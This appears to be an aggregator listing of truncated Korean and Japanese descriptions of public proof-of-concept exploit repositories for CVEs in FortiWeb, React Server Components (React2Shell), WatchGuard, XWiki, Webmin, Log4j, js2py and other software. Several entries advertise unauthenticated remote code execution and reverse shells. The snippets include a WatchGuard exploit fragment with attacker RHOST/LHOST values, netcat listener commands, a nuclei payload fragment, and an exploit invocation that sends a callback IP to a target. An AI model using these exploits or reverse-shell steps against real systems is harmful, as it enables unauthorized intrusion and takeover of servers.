CVE-2025-25257

CVE-2025-25257 watchtowr와 다른 사람들이 GitHub에서 공개한 CVE-2025-25257 익스플로잇이 공식 벤더 웹사이트에서 다운로드한 fortiweb 설치 환경에서 작동하지 않았습니다. 저는 이러한 익스플로잇 코드 일부를 가져와서 내 환경에서 리버스 셸을 실행할 수 있는 PoC를 만들었습니다. 리버스 셸의 IP 주소와 포트는 하드코딩되어 있으므로 당연히 변경해야 합니다. 익스플로잇 분석 및 워크스루는 제 YouTube 채널의 두 파트 비디오로 설명되어 있습니다 이탈리아어, 영어 자막: 파트 1:...

CVE-2026-47103-python-statemachine-rce

CVE-2026-47103: Python StateMachine の SCXML eval インジェクションによるリモートコード実行 深刻度: Critical、CVSS 4.0 9.3 、CVSS 3.1 9.8 （CNAであるVulnCheckにより割り当て） ベクター v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N ベクター v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 影響を受けるバージョン: Python StateMachi...

react2shell

React2Shell CVE-2025-55182 비인증 원격 코드 실행 취약점일명 React2Shell에 대한 개념 증명 익스플로잇입니다. 이 스크립트는 다음 Next.js 버전 이하에서 셸을 획득하는 데 사용됩니다: 15.0.4 이하 15.1.8 이하 15.2.5 이하 15.3.5 이하 15.4.7 이하 15.5.6 이하 16.0.6 이하 14.3.0-canary.77 및 이후 버전 16.0.6 버전에서만 테스트되었습니다. 사용법 root@kitploit: $ ./react2shell.py --help d8888b...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE PoC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CVE-2025-55182

CVE-2025-55182 RCE 자가 점검 도구로, CVE-2025-55182 취약점을 점검합니다. 취약점 원리 React Server Components가 서버 함수 엔드포인트로 전송된 페이로드를 디코딩할 때 경로 해석 결함이 존재합니다. 이는 콜론으로 객체 속성을 구분하여 중첩 값 참조를 구현합니다예: $1🅰️b는 "a":"b":"foo".a.b에 해당. 그러나 속성 존재 여부 검증이 없습니다. $1🅰️a를 전달하면 .a.a의 유효하지 않은 값 참조가 발생하여 서버 500 오류를 유발합니다. 공격자는 특수하게 조작된...

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

프로젝트 목표: 취약한 WordPress 설치를 대상으로 CVE-2021-29447미디어 라이브러리의 XXE을 악용하여 원격 코드 실행 및 전체 시스템 손상까지 이르는 완전한 공격 체인을 시연하는 것. 1단계: 정찰 및 정보 수집 Nmap을 사용한 네트워크 스캔: bash 열린 포트를 빠르게 발견하기 위한 SYN 스캔 nmap -sS -T4 10.201.3.95 상세 버전 및 스크립트 스캔 nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initialscan 결과: text PORT STATE...

React2Shell-CVE-2025-55182-Testing-Environment

React2Shell CVE-2025-55182 테스트 환경 CVE-2025-55182치명적 CVSS 10.0 React Server Components 원격 코드 실행 취약점을 위한 컨테이너화된 테스트 환경입니다. ⚠️ 경고 이 환경은 의도적으로 취약하게 설계되었으며, 다음 목적으로만 사용해야 합니다: 보안 연구 및 교육 격리된 환경에서의 침투 테스트 취약점 메커니즘 이해 다음과 같은 행위는 금지합니다: 운영 환경에 배포 인터넷에 노출 악의적인 목적으로 사용 취약점 세부 정보 CVE : CVE-2025-55182 React,...

CVE-2024-4577

이것은 CVE-2024-4577의 POC입니다. 이 익스플로잇을 통해 공격자는 RCE 를 수행할 수 있습니다. PHP 8.3 8.3.8, PHP 8.2 8.2.20, PHP 8.1 8.1.29과 같은 PHP 버전에서 인수는 코드에서 확인할 수 있습니다! 이 특정 익스플로잇에 대한 자세한 내용은 nist.gov에서 확인하세요...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit XWiki SolrSearch에 대한 인증되지 않은 RCE PoC CVE-2025-24893. 명령 실행 + 리버스 셸. CVE-2025-24893 – XWiki SolrSearch RCE PoC XWiki SolrSearch 템플릿 인젝션을 통해 인증되지 않은 원격 코드 실행을 유발하는 개념 증명. XWiki Debian 15.10.8 에서 테스트됨 15.10.11 / 16.4.1 / 16.5.0RC1에서 패치됨. ⚠️ 교육 목적으로만 사용하세요. 소유하지 않거나 명시적 테스트 허가를...

vscode-frida

VSCode用Fridaワークベンチ リポジトリ | Issues | インストール これはコミュニティ貢献プロジェクトであり、公式のFridaチームとは関係ありません。Fridaスクリプティング体験を向上させるためのVisual Studio Code用オープンソース拡張機能として、@CodeColoristによって開発・保守されています。 中文说明 前提条件 Python = 3.7 frida-tools Pythonパッケージ オプションの依存関係 libimobiledevice inetcatコマンドでSSHシェルを起動するため Windows版iTunes iOSのUSB接...

CVE-2012-2982-Webmin-RCE

Webadmin 1.580 RCE PoC CVE-2012-2982 이 저장소는 Webmin 버전 1.580 에 대한 Python proof-of-concept PoC 익스플로잇을 포함합니다. 이 버전은 부적절한 입력 검증으로 인해 원격 명령 실행 RCE에 취약합니다. 취약점은 file/show.cgi 구성 요소에 존재하며, File Manager 모듈에 접근 권한이 있는 인증된 Webmin 사용자 가 루트 권한으로 임의의 OS 명령 을 실행할 수 있게 합니다. 이 PoC는 교육 및 연구 목적 으로 개발되었으며 통제된 실험실...

CVE-2021-44228

CVE-2021-44228 log4shell POC log4j 스캐닝 도구 이 도구는 시스템에서 원격 코드 실행 취약점log4j을 식별하는 데 도움이 됩니다. 요구 사항 bash 스크립트를 실행하려면 httpx, subfinder, assetfinder, curl 및 amass를 설치해야 합니다. 설치 1. 간단히 git clone으로 리포지토리를 복제하거나 bash 스크립트를 다운로드합니다. git clone https://github.com/shamo0/CVE-2021-44228.git 2. 파일 권한을 변경합니다. chm...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Apache HTTP Server 2.4.49에서 CVE-2021-42013 취약점Path Traversal & RCE을 시뮬레이션하는 Docker 기반 침투 테스트 연구실입니다. 이 프로젝트는 Apache HTTP Server 2.4.49에 존재하는 CVE-2021-42013 취약점을 격리된 환경에서 시뮬레이션하고 악용exploit하기 위해 준비되었습니다. 작업에서는 docker-exploit-lab이라는 특수 연구실 환경이 구축되었으며, 공격 시나리오는 동일 네트워크의...

CVE-2025-55182

CVE-2025-55182.yaml CVE-2025-55182 poc nuclei -target url -t CVE-2025-55182.yaml nuclei-template에서 수정됨 핵심 코드: root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 リモートコード実行 参照: https://k4m1ll0.com/cve-2021-41653.html...

CVE-2023-5044

CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect 어노테이션을 통한 코드 인젝션 먼저, Pod와 Service를 배포해야 합니다: root@kitploit: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image: hashicorp/http-echo args: - "-text=apple" --- kind: Service...

CVE-2025-55182-PoC

CVE-2025-55182-PoC CVE-2025-55182에 대한 PoC root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" 법적 고지 이 도구는 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 요구 사항 pip install requests 사용법 이 도구는 세 가지...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free JScript.dll の Use-After-Free によるリモートコード実行 CVE-2025-30397 🧠 説明 このリポジトリには、Windows Server 2025 ビルド 25398 以前 に影響する JScript エンジン jscript.dll の Use-After-Free 脆弱性に対する概念実証 PoC エクスプロイトが含まれています。この脆弱性は、ヒープスプレー技術によるメモリ破壊を悪用してリモートコード実行を可能にします。Po...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397을 위한 리버스 셸. js2py = v0.74에서 작동하는 익스플로잇입니다. 요구 사항 requests 라이브러리 pip install requests Python3 Netcat 리버스 셸 리스너로 사용할 수 있는 도구 사용법 리스너용 root@kitploit: nc -lnvp 4444 익스플로잇용 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian CVSS Score - 7.6 🔥 설명 이 높은 심각도의 RCE원격 코드 실행 취약점 CVE-2024-21689는 Bamboo Data Center 및 Server의 버전 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0, 9.6.0에서 도입되었습니다. CVSS 점수 7.6의 이 RCE원격 코드 실행 취약점은 인증된 공격자가 임의의 코드를 실행할 수 있게 하며, 기밀성, 무결성, 가용성에 높은 영향을 미치며 사용...